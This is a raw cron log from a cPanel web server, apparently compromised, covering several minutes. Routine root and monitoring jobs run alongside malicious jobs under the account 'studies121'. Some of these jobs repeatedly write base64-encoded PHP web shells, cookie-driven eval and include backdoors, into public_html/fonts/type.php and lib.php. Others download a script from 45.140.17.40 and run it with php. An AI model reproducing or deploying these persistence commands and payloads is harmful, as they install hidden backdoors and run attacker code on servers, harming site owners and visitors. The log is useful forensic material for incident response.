Sep 22 16:20:02 ip-184-168-122-23 CROND[19128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:20:02 ip-184-168-122-23 CROND[19123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:20:02 ip-184-168-122-23 CROND[19124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:21:01 ip-184-168-122-23 CROND[20140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:21:01 ip-184-168-122-23 CROND[20141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:21:01 ip-184-168-122-23 CROND[20139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:21:01 ip-184-168-122-23 CROND[20143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:22:01 ip-184-168-122-23 CROND[21007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:22:01 ip-184-168-122-23 CROND[21008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:22:01 ip-184-168-122-23 CROND[21009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:22:01 ip-184-168-122-23 CROND[21011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:22:01 ip-184-168-122-23 CROND[21010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:23:01 ip-184-168-122-23 CROND[21675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:23:01 ip-184-168-122-23 CROND[21677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:23:01 ip-184-168-122-23 CROND[21676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:23:01 ip-184-168-122-23 CROND[21680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:24:01 ip-184-168-122-23 CROND[22425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:24:01 ip-184-168-122-23 CROND[22427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:24:01 ip-184-168-122-23 CROND[22429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:24:01 ip-184-168-122-23 CROND[22428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:24:01 ip-184-168-122-23 CROND[22430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:25:01 ip-184-168-122-23 CROND[23362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:25:01 ip-184-168-122-23 CROND[23363]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 16:25:01 ip-184-168-122-23 CROND[23358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:25:01 ip-184-168-122-23 CROND[23364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:25:01 ip-184-168-122-23 CROND[23366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:25:01 ip-184-168-122-23 CROND[23367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:25:01 ip-184-168-122-23 CROND[23369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:26:01 ip-184-168-122-23 CROND[24260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:26:01 ip-184-168-122-23 CROND[24264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:26:01 ip-184-168-122-23 CROND[24265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:26:01 ip-184-168-122-23 CROND[24262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:26:01 ip-184-168-122-23 CROND[24263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:27:01 ip-184-168-122-23 CROND[24910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:27:01 ip-184-168-122-23 CROND[24911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:27:01 ip-184-168-122-23 CROND[24912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:27:01 ip-184-168-122-23 CROND[24916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:28:01 ip-184-168-122-23 CROND[25702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:28:01 ip-184-168-122-23 CROND[25703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:28:01 ip-184-168-122-23 CROND[25707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:28:01 ip-184-168-122-23 CROND[25708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:28:01 ip-184-168-122-23 CROND[25710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:29:01 ip-184-168-122-23 CROND[26431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:29:01 ip-184-168-122-23 CROND[26432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:29:01 ip-184-168-122-23 CROND[26434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:29:01 ip-184-168-122-23 CROND[26435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:30:01 ip-184-168-122-23 CROND[27287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:30:02 ip-184-168-122-23 CROND[27291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:30:02 ip-184-168-122-23 CROND[27293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:30:02 ip-184-168-122-23 CROND[27295]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 16:30:02 ip-184-168-122-23 CROND[27294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:30:02 ip-184-168-122-23 CROND[27296]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 22 16:30:02 ip-184-168-122-23 CROND[27297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:30:02 ip-184-168-122-23 CROND[27298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:30:02 ip-184-168-122-23 CROND[27301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:31:02 ip-184-168-122-23 CROND[28050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:31:02 ip-184-168-122-23 CROND[28052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:31:02 ip-184-168-122-23 CROND[28055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:31:02 ip-184-168-122-23 CROND[28056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:31:02 ip-184-168-122-23 CROND[28057]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 16:32:01 ip-184-168-122-23 CROND[28188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:32:01 ip-184-168-122-23 CROND[28189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:32:01 ip-184-168-122-23 CROND[28192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
